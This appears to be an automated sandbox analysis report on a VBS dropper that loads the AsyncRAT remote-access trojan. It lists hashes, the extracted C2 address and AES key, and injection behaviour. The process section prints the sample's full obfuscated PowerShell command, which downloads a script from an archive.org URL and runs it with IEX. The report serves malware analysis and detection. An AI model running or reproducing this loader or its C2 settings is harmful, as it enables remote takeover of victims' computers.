Analysis
-
max time kernel
145s -
max time network
193s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
21-07-2021 09:00
Static task
static1
Behavioral task
behavioral1
Sample
15.vbs
Resource
win7v20210410
General
-
Target
15.vbs
-
Size
1KB
-
MD5
3e46e05d321065ab67c8b5d588ffe418
-
SHA1
16bbaae13819f996be9f81794df7c9f33ade9b7d
-
SHA256
15cf9daf5bad1a5a78783f675eb63850e216a690e0f3302738ce3bd825ba6fc1
-
SHA512
c40d1599d412c9f0fdf8ec5e32916bd1ad3b25f189a61822a602bb675f664fcb683f52efc43e48ded468f79ccea77bca860b63375554ebae99cfffba211e1d59
Malware Config
Extracted
https://ia601405.us.archive.org/30/items/all-2542/ALL_2542.txt
Extracted
asyncrat
0.5.7B
185.19.85.168:8888
AsyncMutex_6SI8OkPnk
-
aes_key
iaCQxXrg9VcwzLPunOt4DDhIibhcZSWL
-
anti_detection
false
-
autorun
false
-
bdos
false
-
delay
Default
-
host
185.19.85.168
-
hwid
3
- install_file
-
install_folder
%AppData%
-
mutex
AsyncMutex_6SI8OkPnk
-
pastebin_config
null
-
port
8888
-
version
0.5.7B
Signatures
-
Async RAT payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/856-71-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat behavioral1/memory/856-72-0x000000000040C71E-mapping.dmp asyncrat behavioral1/memory/856-73-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 7 1164 powershell.exe 9 1164 powershell.exe 11 1164 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1164 set thread context of 856 1164 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1164 powershell.exe 1164 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1164 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1664 wrote to memory of 1164 1664 WScript.exe powershell.exe PID 1664 wrote to memory of 1164 1664 WScript.exe powershell.exe PID 1664 wrote to memory of 1164 1664 WScript.exe powershell.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe PID 1164 wrote to memory of 856 1164 powershell.exe aspnet_compiler.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\15.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601405.us.archive.org/30/items/all-2542/ALL_2542.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFDGTFHJVBNBHGHCCGHJVBKNLJKHJHKLHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('DGTFHJVBNBHGHCCGHJVBKNLJKHJHKLHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/856-71-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/856-76-0x0000000000B00000-0x0000000000B01000-memory.dmpFilesize
4KB
-
memory/856-75-0x00000000753B1000-0x00000000753B3000-memory.dmpFilesize
8KB
-
memory/856-73-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/856-72-0x000000000040C71E-mapping.dmp
-
memory/1164-64-0x00000000025D0000-0x00000000025D1000-memory.dmpFilesize
4KB
-
memory/1164-66-0x000000001AB24000-0x000000001AB26000-memory.dmpFilesize
8KB
-
memory/1164-67-0x0000000002020000-0x0000000002021000-memory.dmpFilesize
4KB
-
memory/1164-68-0x000000001C120000-0x000000001C121000-memory.dmpFilesize
4KB
-
memory/1164-69-0x000000001B510000-0x000000001B511000-memory.dmpFilesize
4KB
-
memory/1164-70-0x00000000027F0000-0x00000000027FE000-memory.dmpFilesize
56KB
-
memory/1164-65-0x000000001AB20000-0x000000001AB22000-memory.dmpFilesize
8KB
-
memory/1164-63-0x000000001ABA0000-0x000000001ABA1000-memory.dmpFilesize
4KB
-
memory/1164-62-0x0000000002390000-0x0000000002391000-memory.dmpFilesize
4KB
-
memory/1164-60-0x0000000000000000-mapping.dmp
-
memory/1664-59-0x000007FEFBBF1000-0x000007FEFBBF3000-memory.dmpFilesize
8KB